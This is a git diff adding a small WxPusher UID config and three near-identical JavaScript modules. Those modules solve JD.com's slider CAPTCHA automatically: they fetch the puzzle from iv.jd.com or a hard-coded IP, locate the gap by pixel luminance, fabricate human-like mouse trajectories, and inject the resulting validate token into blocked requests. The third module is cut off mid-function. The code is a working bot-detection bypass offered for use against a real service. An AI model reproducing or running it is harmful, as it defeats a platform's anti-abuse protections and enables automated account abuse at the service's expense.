diff --git a/CK_WxPusherUid.json b/CK_WxPusherUid.json new file mode 100644 index 0000000..d0979d4 --- /dev/null +++ b/CK_WxPusherUid.json @@ -0,0 +1,14 @@ +[ + { + "pt_pin": "ptpin1", + "Uid": "UID_AAAAAAAAAAAA" + }, + { + "pt_pin": "ptpin2", + "Uid": "UID_BBBBBBBBBB" + }, + { + "pt_pin": "ptpin3", + "Uid": "UID_CCCCCCCCC" + } +] \ No newline at end of file diff --git a/JDJRValidator_Aaron.js b/JDJRValidator_Aaron.js new file mode 100644 index 0000000..52d81f3 --- /dev/null +++ b/JDJRValidator_Aaron.js @@ -0,0 +1,554 @@ +/* + 由于 canvas 依赖系统底层需要编译且预编译包在 github releases 上,改用另一个纯 js 解码图片。若想继续使用 canvas 可调用 runWithCanvas 。 + + 添加 injectToRequest 用以快速修复需验证的请求。eg: $.get=injectToRequest($.get.bind($)) +*/ +const https = require('https'); +const http = require('http'); +const stream = require('stream'); +const { promisify } = require('util'); +const pipelineAsync = promisify(stream.pipeline); +const zlib = require('zlib'); +const vm = require('vm'); +const PNG = require('png-js'); +const UA = require('./USER_AGENTS.js').USER_AGENT; + + +Math.avg = function average() { + var sum = 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} + +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + + decodeToPixels() { + return new Promise((resolve) => { + try { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + } catch (e) { + console.info(e) + } + }); + } + + getImageData(x, y, w, h) { + const {pixels} = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + + return {data: pixels.slice(startIndex, startIndex + len)}; + } +} + +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; + +class PuzzleRecognizer { + constructor(bg, patch, y) { + // console.log(bg); + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + + // console.log(imgBg); + + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = imgBg.width; + this.h = imgBg.height; + } + + async run() { + try { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + + return this.recognize(); + } catch (e) { + console.info(e) + } + } + + recognize() { + const {ctx, w: width, bg} = this; + const {width: patchWidth, height: patchHeight} = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } + + runWithCanvas() { + const {createCanvas, Image} = require('canvas'); + const canvas = createCanvas(); + const ctx = canvas.getContext('2d'); + const imgBg = new Image(); + const imgPatch = new Image(); + const prefix = 'data:image/png;base64,'; + + imgBg.src = prefix + this.rawBg; + imgPatch.src = prefix + this.rawPatch; + const {naturalWidth: w, naturalHeight: h} = imgBg; + canvas.width = w; + canvas.height = h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(imgBg, 0, 0, w, h); + + const width = w; + const {naturalWidth, naturalHeight} = imgPatch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } +} + +const DATA = { + "appId": "17839d5db83", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = '61.49.99.122'; + +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + } + + async run(scene) { + try { + const tryRecognize = async () => { + const x = await this.recognize(scene); + + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + // console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + + // console.log(pos[pos.length-1][2] -Date.now()); + // await sleep(4500); + await sleep(pos[pos.length - 1][2] - Date.now()); + const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}, scene); + + if (result.message === 'success') { + // console.log(result); + console.log('JDJR验证用时: %fs', (Date.now() - this.t) / 1000); + return result; + } else { + console.count("验证失败"); + // console.count(JSON.stringify(result)); + await sleep(300); + return await this.run(scene); + } + } catch (e) { + console.info(e) + } + } + + async recognize(scene) { + try { + const data = await JDJRValidator.jsonp('/slide/g.html', {e: ''}, scene); + const {bg, patch, y} = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + const puzzleX = await re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: '', + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } catch (e) { + console.info(e) + } + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count++; + if (i % 50 === 0) { + // console.log('%f\%', (i / n) * 100); + } + } + + console.log('验证成功: %f\%', (count / n) * 100); + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}, scene) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = {callback: fnId}; + const query = new URLSearchParams({...DATA, ...{"scene": scene}, ...extraData, ...data}).toString(); + const url = `http://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,en-US', + 'Connection': 'keep-alive', + 'Host': SERVER, + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + 'User-Agent': UA, + }; + const req = http.get(url, {headers}, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + pipelineAsync( + response, + zlib.createGunzip(), + unzipStream, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + + // console.log(ctx.data); + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 5; + +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 14, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + // console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({x, y, duration}) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +// new JDJRValidator().run(); +// new JDJRValidator().report(1000); +// console.log(getCoordinate(new MousePosFaker(100).run())); + +function injectToRequest2(fn, scene = 'cww') { + return (opts, cb) => { + fn(opts, async (err, resp, data) => { + try { + if (err) { + console.error('验证请求失败.'); + return; + } + if (data.search('验证') > -1) { + console.log('JDJR验证中......'); + const res = await new JDJRValidator().run(scene); + if (res) { + opts.url += `&validate=${res.validate}`; + } + fn(opts, cb); + } else { + cb(err, resp, data); + } + } catch (e) { + console.info(e) + } + }); + }; +} + +async function injectToRequest(scene = 'cww') { + console.log('JDJR验证中......'); + const res = await new JDJRValidator().run(scene); + return `&validate=${res.validate}` +} + +module.exports = { + sleep, + injectToRequest, + injectToRequest2 +} diff --git a/JDJRValidator_Pure.js b/JDJRValidator_Pure.js new file mode 100644 index 0000000..a930969 --- /dev/null +++ b/JDJRValidator_Pure.js @@ -0,0 +1,532 @@ +const https = require('https'); +const http = require('http'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); +const PNG = require('png-js'); +let UA = require('./USER_AGENTS.js').USER_AGENT; +const validatorCount = process.env.JDJR_validator_Count ? process.env.JDJR_validator_Count : 100 + + +Math.avg = function average() { + var sum = 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} + +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + + decodeToPixels() { + return new Promise((resolve) => { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + }); + } + + getImageData(x, y, w, h) { + const {pixels} = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + + return {data: pixels.slice(startIndex, startIndex + len)}; + } +} + +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; + +class PuzzleRecognizer { + constructor(bg, patch, y) { + // console.log(bg); + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + + // console.log(imgBg); + + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = imgBg.width; + this.h = imgBg.height; + } + + async run() { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + + return this.recognize(); + } + + recognize() { + const {ctx, w: width, bg} = this; + const {width: patchWidth, height: patchHeight} = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } + + runWithCanvas() { + const {createCanvas, Image} = require('canvas'); + const canvas = createCanvas(); + const ctx = canvas.getContext('2d'); + const imgBg = new Image(); + const imgPatch = new Image(); + const prefix = 'data:image/png;base64,'; + + imgBg.src = prefix + this.rawBg; + imgPatch.src = prefix + this.rawPatch; + const {naturalWidth: w, naturalHeight: h} = imgBg; + canvas.width = w; + canvas.height = h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(imgBg, 0, 0, w, h); + + const width = w; + const {naturalWidth, naturalHeight} = imgPatch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } +} + +const DATA = { + "appId": "17839d5db83", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = 'iv.jd.com'; + +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + this.count = 0; + } + + async run(scene = 'cww', eid='') { + const tryRecognize = async () => { + const x = await this.recognize(scene, eid); + + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + // console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + + // console.log(pos[pos.length-1][2] -Date.now()); + // await sleep(4500); + await sleep(pos[pos.length - 1][2] - Date.now()); + this.count++; + const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}, scene); + + if (result.message === 'success') { + // console.log(result); + console.log('JDJR验证用时: %fs', (Date.now() - this.t) / 1000); + return result; + } else { + console.log(`验证失败: ${this.count}/${validatorCount}`); + // console.log(JSON.stringify(result)); + if(this.count >= validatorCount){ + console.log("JDJR验证次数已达上限,退出验证"); + return result; + }else{ + await sleep(300); + return await this.run(scene, eid); + } + } + } + + async recognize(scene, eid) { + const data = await JDJRValidator.jsonp('/slide/g.html', {e: eid}, scene); + const {bg, patch, y} = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + // console.log(JSON.stringify(re)) + const puzzleX = await re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: eid, + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count++; + if (i % 50 === 0) { + // console.log('%f\%', (i / n) * 100); + } + } + + console.log('验证成功: %f\%', (count / n) * 100); + console.clear() + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}, scene) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = {callback: fnId}; + const query = new URLSearchParams({...DATA,...{"scene": scene}, ...extraData, ...data}).toString(); + const url = `https://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'Connection': 'keep-alive', + 'Host': "iv.jd.com", + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/', + 'User-Agent': UA, + }; + + const req = https.get(url, {headers}, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline( + response, + zlib.createGunzip(), + unzipStream, + reject, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + + // console.log(ctx.data); + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 20; + +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 14, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + // console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({x, y, duration}) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +function injectToRequest(fn,scene = 'cww', ua = '') { + if(ua) UA = ua + return (opts, cb) => { + fn(opts, async (err, resp, data) => { + if (err) { + console.error(JSON.stringify(err)); + return; + } + if (data.search('验证') > -1) { + console.log('JDJR验证中......'); + let arr = opts.url.split("&") + let eid = '' + for(let i of arr){ + if(i.indexOf("eid=")>-1){ + eid = i.split("=") && i.split("=")[1] || '' + } + } + const res = await new JDJRValidator().run(scene, eid); + + opts.url += `&validate=${res.validate}`; + fn(opts, cb); + } else { + cb(err, resp, data); + } + }); + }; +} + +exports.injectToRequest = injectToRequest; diff --git a/JDJRValidator_Smiek.js b/JDJRValidator_Smiek.js new file mode 100644 index 0000000..409548e --- /dev/null +++ b/JDJRValidator_Smiek.js @@ -0,0 +1,540 @@ +const https = require('https'); +const http = require('http'); +const stream = require('stream'); +const { promisify } = require('util'); +const pipelineAsync = promisify(stream.pipeline); +const zlib = require('zlib'); +const vm = require('vm'); +const PNG = require('png-js'); +let UA = `jdapp;iPhone;10.1.0;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`; +const validatorCount = process.env.JDJR_validator_Count ? process.env.JDJR_validator_Count : 100 + +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +Math.avg = function average() { + var sum = 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} + +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + + decodeToPixels() { + return new Promise((resolve) => { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + }); + } + + getImageData(x, y, w, h) { + const {pixels} = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + + return {data: pixels.slice(startIndex, startIndex + len)}; + } +} + +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; + +class PuzzleRecognizer { + constructor(bg, patch, y) { + // console.log(bg); + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + + // console.log(imgBg); + + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = imgBg.width; + this.h = imgBg.height; + } + + async run() { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + + return this.recognize(); + } + + recognize() { + const {ctx, w: width, bg} = this; + const {width: patchWidth, height: patchHeight} = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const 